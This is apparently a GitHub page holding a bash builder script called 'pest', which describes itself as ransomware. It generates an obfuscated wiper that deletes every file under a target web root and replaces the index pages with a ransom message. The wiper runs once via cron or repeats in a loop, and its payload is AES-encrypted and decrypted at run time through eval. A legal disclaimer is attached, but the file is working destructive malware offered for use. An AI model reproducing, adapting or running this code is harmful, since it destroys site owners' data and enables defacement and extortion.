-
Notifications
You must be signed in to change notification settings - Fork 0
/
pest
173 lines (139 loc) · 4.37 KB
/
pest
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#!/usr/bin/env bash
# MIT License
#
# Copyright (c) 2023 Robert Paul
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
usage="
Usage: ./pest-builder [OPTIONS]
Description:
A poor man's ransomeware
Options:
-h, --help Display this help message and exit.
-type, --type Type of output file.
-o, --output FILE Write output to FILE.
-target, --target PATH Absolute path to target directory.
-m, --message TEXT Your ransom message.
-s, --sleep SECONDS Number of seconds to sleep after each wipe.
Examples:
./pest -o './.cron_wiper' --type cron --target '/home/test/public_html' --message 'Pwned'
./pest -o './.loop_wiper' --type loop --target '/home/test/public_html' --message 'Pwned' --sleep 20
";
args=("$@");
while [[ $# -gt 0 ]]; do
key="$1"
case $key in
-h|--help)
echo "$usage";
exit 0
;;
-type|--type)
type="$2";
shift
;;
-o|--output)
output_file="$2"
shift 2
;;
-target|--target)
target="$2"
shift 2
;;
-m|--message)
message="$2"
shift 2
;;
-s|--sleep)
sleepseconds="$2"
shift 2
;;
*)
shift
;;
esac
done
set -- "${args[@]}";
if [[ "$type" = "loop" ]] && [[ -z "$sleepseconds" ]]; then
echo "$usage";
exit 1;
fi
if [[ "$type" != "loop" ]] && [[ "$type" != "cron" ]]; then
printf "%s" "Invalid type\n\n";
echo "$usage";
exit 1;
fi;
if [[ "$type" = "cron" ]] && [[ "$#" != 8 ]]; then
echo "$usage";
exit 1;
fi;
if [[ "$type" = "loop" ]] && [[ "$#" != 10 ]]; then
echo "$usage";
exit 1;
fi;
[[ -z "$type" ]] || [[ -z "$target" ]] || [[ -z "$output_file" ]] || [[ -z "$message" ]] && echo "$usage" && exit 1;
template=$(cat <<TPL
#!/usr/bin/env bash
declare -r WEBROOT=
declare -r RANSOM_MESSAGE=
declare -r SLEEP_TIME=
function clear_dir() {
[ ! -e "\$1" ] || [ ! -d "\$1" ] && return;
cd "\$1" || exit > /dev/null 2>&1;
[ "\$PWD" != "\$1" ] && return;
[ "\$(ls -a \$1)" ] && rm * -rf > /dev/null 2>&1;
}
function act() {
clear_dir "\$WEBROOT";
echo -e "\$RANSOM_MESSAGE" >"\$WEBROOT/index.php";
echo -e "\$RANSOM_MESSAGE" >"\$WEBROOT/index.html";
}
TPL
);
loop_template=$(cat <<TPL
while true; do
act;
sleep \$SLEEP_TIME;
done
TPL
);
legal_disclaimer=$(cat << TPL
[!] Legal Disclaimer: Using this piece of software to generate code for use against targets without prior mutual consent is illegal. I assume no liability and bear no responsibility for any misuse or damage caused by this program.
TPL
);
echo -e "$legal_disclaimer";
template=${template//-r WEBROOT=/-r WEBROOT=\"$target\";}
template=${template//-r RANSOM_MESSAGE=/-r RANSOM_MESSAGE=\"$message\";}
key=$(openssl rand -hex 32);iv=$(openssl rand -hex 16);
if [[ "$type" = "loop" ]]; then
c="$template\n\n$loop_template";
c=${c//-r SLEEP_TIME=/-r SLEEP_TIME=\"$sleepseconds\";};
elif [[ "$type" = "cron" ]]; then
template=${template//declare -r SLEEP_TIME=/};
c="$template\n\nact\n";
fi
encrypted=$(echo -e -n "$c" | openssl enc -aes-256-cbc -K "$key" -iv "$iv" -e -a);
encrypted=$(cat << TPL
#!/usr/bin/env bash
decrypted=\$(printf "%s" "$encrypted" | openssl enc -aes-256-cbc -K "$key" -iv "$iv" -d -a);
eval "\$decrypted";
TPL
);
echo -e "$encrypted" > "$output_file";
echo -e "\n\nWiper created."
exit